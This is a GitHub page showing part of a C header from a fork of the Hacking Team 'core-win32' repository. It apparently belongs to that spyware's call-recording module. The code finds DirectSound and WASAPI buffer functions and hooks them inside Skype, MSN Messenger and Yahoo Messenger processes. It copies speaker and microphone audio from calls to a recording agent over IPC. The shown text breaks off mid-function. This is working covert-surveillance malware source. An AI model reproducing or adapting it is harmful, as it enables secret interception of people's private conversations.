forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_SkypeRecord.h
3089 lines (2632 loc) · 102 KB
/
HM_SkypeRecord.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <shlwapi.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include "speex/speex.h"
#include "dsound.h"
#define SAMPLE_RATE_DEFAULT 48000
#define SAMPLE_RATE_SKYPE 48000
#define SAMPLE_RATE_SKYPE_W 44100
#define SAMPLE_RATE_GTALK 48000
#define SAMPLE_RATE_YMSG 48000
#define SAMPLE_RATE_YMSG_IN 96000
#define SAMPLE_RATE_MSN 16000
typedef MMRESULT (WINAPI *waveOutGetID_t) (HWAVEOUT , LPUINT);
typedef MMRESULT (WINAPI *waveInGetID_t) (HWAVEOUT , LPUINT);
typedef HRESULT (WINAPI *DirectSoundCreate_t) (LPCGUID , LPDIRECTSOUND *, DWORD);
typedef HRESULT (WINAPI *DirectSoundCaptureCreate_t) (LPCGUID , LPDIRECTSOUNDCAPTURE *, DWORD);
// Funzioni risolte nella DLL del CODEC
typedef void *(*speex_encoder_init_t)(SpeexMode *);
typedef int (*speex_encoder_ctl_t)(void *, int, void *);
typedef void (*speex_encoder_destroy_t)(void *);
typedef int (*speex_encode_t)(void *, float *, SpeexBits *);
typedef void (*speex_bits_init_t)(SpeexBits *);
typedef void (*speex_bits_reset_t)(SpeexBits *);
typedef int (*speex_bits_write_t)(SpeexBits *, char *, int);
typedef void (*speex_bits_destroy_t)(SpeexBits *);
typedef SpeexMode *(*speex_lib_get_mode_t)(int);
speex_encoder_init_t rel_speex_encoder_init;
speex_encoder_ctl_t rel_speex_encoder_ctl;
speex_encoder_destroy_t rel_speex_encoder_destroy;
speex_encode_t rel_speex_encode;
speex_bits_init_t rel_speex_bits_init;
speex_bits_reset_t rel_speex_bits_reset;
speex_bits_write_t rel_speex_bits_write;
speex_bits_destroy_t rel_speex_bits_destroy;
speex_lib_get_mode_t rel_speex_lib_get_mode;
typedef struct partner_struct {
DWORD Id;
DWORD participants;
char *peer;
#define VOIP_SKYPE 1
#define VOIP_GTALK 2
#define VOIP_YAHOO 3
#define VOIP_MSMSG 4
#define VOIP_MOBIL 5
#define VOIP_SKWSA 6
#define VOIP_MSNWS 7
DWORD voip_program;
#define CALL_SKYPE_OLD 1 // Abbiamo ricevuto un chunl audio NON dalle wasapi, quindi ignoriamo quelli provenienti da li'
DWORD flags;
struct partner_struct *next;
} partner_entry;
typedef struct _VoiceAdditionalData {
UINT uVersion;
#define LOG_VOICE_VERSION 2008121901
UINT uChannel;
UINT uProgramType;
UINT uSampleRate;
UINT uIngoing;
FILETIME start;
FILETIME stop;
UINT uCallerIdLen;
UINT uCalleeIdLen;
} VoiceAdditionalData, *pVoiceAdditionalData;
#define FLAGS_INPUT 1 // Ricevuto dal microfono
#define FLAGS_OUTPUT 2 // Suonato dalla scheda audio
#define FLAGS_SKAPI_INI 4 // Messaggio delle api di Skype (inizializzazione)
#define FLAGS_SKAPI_MSG 8 // Messaggio delle api di Skype
#define FLAGS_SKAPI_WND 16 // Messaggio delle api di Skype (thread di dispatch)
#define FLAGS_SKAPI_SWD 32 // Messaggio delle api di Skype
#define FLAGS_SKAPI_ATT 64 // Messaggio di Skype: Segnala il core che deve fare l'attach per inviare messaggi
#define FLAGS_YMSG_IN 128 // Messaggio delle api di YahooMessenger
#define FLAGS_YMSG_OUT 256 // Messaggio delle api di YahooMessenger
#define FLAGS_GTALK_IN 512 // Messaggio delle api di Gtalk
#define FLAGS_GTALK_OUT 1024 // Messaggio delle api di Gtalk
#define FLAGS_MSN_IN 2048 // Messaggio delle api di Msn Live
#define FLAGS_MSN_OUT 4096 // Messaggio delle api di Msn Live
#define FLAGS_SAMPLING 8192 // Messaggio per indicare il sample rate
// Gli ultimi due bit di flag (2^30 e 2^31) sono riservati al chunk
// audio e contengoono il numero di canali utilizzato
// In questo caso i bit da 24 a 29 sono usati per identificare il tipo di
// programma utilizzato <voip_program>
#define MAX_HASHKEY_LEN MAX_PATH*3 // Lunghezza massima chiavi di hash per skype config
#define DEFAULT_SAMPLE_SIZE (512*1024) // 512KB
#define DEFAULT_COMPRESSION 3
#define MAX_ID_LEN 250
#define CALL_DELTA 16 // Intervallo in decimi di secondo che differenzia due chiamate
#define INPUT_ELEM 0
#define OUTPUT_ELEM 1
CRITICAL_SECTION skype_critic_sec;
partner_entry *call_list_head = NULL;
BOOL bPM_VoipRecordStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
DWORD sample_size[2] = {0,0}; // Viene inizializzato solo all'inizio
DWORD sample_channels[2] = {1,1}; // Numero di canali
DWORD sample_sampling[2] = {SAMPLE_RATE_SKYPE_W, SAMPLE_RATE_SKYPE_W}; // Sample rate dei due canali per skype con wasapi
FILETIME channel_time_start[2]; // Time stamp di inizio chiamata
FILETIME channel_time_last[2]; // Time stamp dell'ultimo campione
BYTE *wave_array[2] = {NULL, NULL}; // Buffer contenenti i PCM dei due canali
DWORD max_sample_size = 500000; // Dimensione oltre la quale salva un sample su file
DWORD compress_factor = 5; // Fattore di compressione del codec
HMODULE codec_handle = NULL; // Handle alla dll del codec
BOOL bPM_spmcp = FALSE; // Semaforo per l'uscita del thread
HANDLE hSkypePMThread = NULL;
BOOL IsSkypePMInstalled();
// Sono condivise anche da IM e Contacts
HWND skype_api_wnd = NULL;
HWND skype_pm_wnd = NULL;
#include <mmsystem.h>
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDBUFFER lpDSBuffer;
LPDIRECTSOUND lpDS = NULL;
PCMWAVEFORMAT pcmwf;
DSBUFFERDESC dsbdesc;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCreate_t pDirectSoundCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCreate = (DirectSoundCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCreate") ) )
return NULL;
if (DS_OK != pDirectSoundCreate(NULL, &lpDS, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&dsbdesc, 0, sizeof(DSBUFFERDESC));
dsbdesc.dwSize = sizeof(DSBUFFERDESC);
dsbdesc.dwFlags = DSBCAPS_CTRLFREQUENCY|DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME ;
dsbdesc.dwBufferBytes = 512;
dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDS->CreateSoundBuffer(&dsbdesc, &lpDSBuffer, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSBuffer;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 11);
*DSUnlock = *(func_ptr + 19);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundCaptureGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDCAPTURE lpDSC;
LPDIRECTSOUNDCAPTUREBUFFER lpDSCB;
DSCBUFFERDESC cdbufd;
PCMWAVEFORMAT pcmwf;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCaptureCreate_t pDirectSoundCaptureCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCaptureCreate = (DirectSoundCaptureCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCaptureCreate") ) )
return NULL;
if ( DS_OK != pDirectSoundCaptureCreate(NULL, &lpDSC, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&cdbufd, 0, sizeof(cdbufd));
cdbufd.dwSize = sizeof(DSCBUFFERDESC);
cdbufd.dwBufferBytes = 100;
cdbufd.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDSC->CreateCaptureBuffer(&cdbufd, &lpDSCB, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSCB;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 8);
*DSUnlock = *(func_ptr + 11);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
typedef DWORD (WINAPI *DSLock_t)(DWORD, DWORD, DWORD, LPVOID *, LPDWORD, LPVOID *, LPDWORD, DWORD);
typedef DWORD (WINAPI *DSUnlock_t)(DWORD, LPVOID, DWORD, LPVOID, DWORD);
typedef DWORD (WINAPI *DSGetFormat_t)(DWORD, LPVOID, DWORD, LPDWORD);
///////////////////////////
//
// Dsound::DSGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSGetCPStruct;
DSGetCPStruct DSGetCPData;
#define THRESHOLD 0x3C0
#define LARGE_CLI_WRITE(x, y, z, k) { BYTE *wave_ptr = x; \
DWORD to_write = y; \
while (to_write > 0) { \
if (to_write <= MAX_MSG_LEN) { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, to_write, z, k); \
to_write = 0; \
} else { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, MAX_MSG_LEN, z, k); \
wave_ptr += MAX_MSG_LEN; \
to_write -= MAX_MSG_LEN; }}}
DWORD __stdcall PM_DSGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
DWORD new_counter;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSGetCPStruct)
CALL_ORIGINAL_API(3);
// Se qualcosa e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Copia il valore in locale per evitare race
if (play_c == NULL)
return ret_code;
new_counter = *play_c;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
if ( (new_counter%2)==0 ) {
pData->old_play_c = new_counter;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
}
return ret_code;
}
// Nessun cambiamento
if (new_counter == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (new_counter > pData->old_play_c) {
dummy2 = (new_counter - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (new_counter - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
} else {
// Ha wrappato
dummy2 = new_counter + (pData->buffer_tot_len - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), new_counter, (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
}
return ret_code;
}
DWORD PM_DSGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
if (!stricmp(proc_name, "skype.exe"))
DSGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSGetCPData.prog_type = 0;
DSGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSGetCPData.old_play_c = -1;
if ( ! (DSGetCPData.bAPIAdd = GetDirectSoundGetCP( (BYTE **)&(DSGetCPData.pDSLock), (BYTE **)&(DSGetCPData.pDSUnlock), (BYTE **)&(DSGetCPData.pDSGetFormat) ) ))
return 1;
DSGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// Dsound::DSCapGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSCapGetCPStruct;
DSCapGetCPStruct DSCapGetCPData;
DWORD __stdcall PM_DSCapGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSCapGetCPStruct)
CALL_ORIGINAL_API(3);
if(play_c == NULL)
return ret_code;
// Se e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSCBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
// Check paranoico
if(play_c)
pData->old_play_c = *play_c;
else
return ret_code;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
return ret_code;
}
// Nessuno cambiamento
if (*play_c == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (*play_c > pData->old_play_c) {
if ( (*play_c - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (*play_c - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
} else {
// Ha wrappato
if (*play_c + (pData->buffer_tot_len - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), (*play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
}
return ret_code;
}
DWORD PM_DSCapGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
DSCapGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSCapGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSCapGetCPData.old_play_c = -1;
if (!stricmp(proc_name, "skype.exe"))
DSCapGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSCapGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSCapGetCPData.prog_type = 0;
if ( ! (DSCapGetCPData.bAPIAdd = GetDirectSoundCaptureGetCP( (BYTE **)&(DSCapGetCPData.pDSLock), (BYTE **)&(DSCapGetCPData.pDSUnlock), (BYTE **)&(DSCapGetCPData.pDSGetFormat) ) ))
return 1;
DSCapGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// WASAPI
//
///////////////////////////
#define SKYPE_WASAPI_BITS 2
#define MSN_WASAPI_BITS 4
#define WASAPI_GETBUFFER 3
#define WASAPI_RELEASEBUFFER 4
BYTE *GetWASAPIRenderFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioRenderClient *pAudioRenderClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioRenderClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioRenderClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioRenderClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPIRenderFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPIRenderFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
typedef struct {
COMMONDATA;
BYTE *obj_ptr;
BYTE *obj_ptr2;
BYTE *audio_data;
BYTE *audio_data2;
BOOL active;
BOOL active2;
} WASAPIGetBufferStruct;
WASAPIGetBufferStruct WASAPIGetBufferData;
HRESULT __stdcall PM_WASAPIGetBuffer(BYTE *class_ptr,
DWORD NumFramesRequested,
BYTE **ppData)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(3);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
pData->active = FALSE;
pData->active2 = FALSE;
}
// Memorizza 2 oggetti
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPIGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
WASAPIGetBufferData.active = FALSE;
WASAPIGetBufferData.active2 = FALSE;
if (GetWASAPIRenderFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
typedef struct {
COMMONDATA;
DWORD prog_type;
WASAPIGetBufferStruct *c_data;
DWORD n_channels;
DWORD sampling;
DWORD sampling2;
} WASAPIReleaseBufferStruct;
WASAPIReleaseBufferStruct WASAPIReleaseBufferData;
HRESULT __stdcall PM_WASAPIReleaseBuffer(BYTE *class_ptr,
DWORD NumFramesWrittem,
DWORD Flags)
{
BOOL *Active;
DWORD i;
MARK_HOOK
INIT_WRAPPER(WASAPIReleaseBufferStruct)
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (Active && (*Active) && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling != 0) {
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY);
pData->sampling = 0;
}
if (pData->c_data->obj_ptr==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data[i] != 0) {
pData->c_data->active = TRUE;
break;
}
}
if (pData->c_data->active)
LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
if (pData->c_data->obj_ptr2==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active2)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data2[i] != 0) {
pData->c_data->active2 = TRUE;
break;
}
}
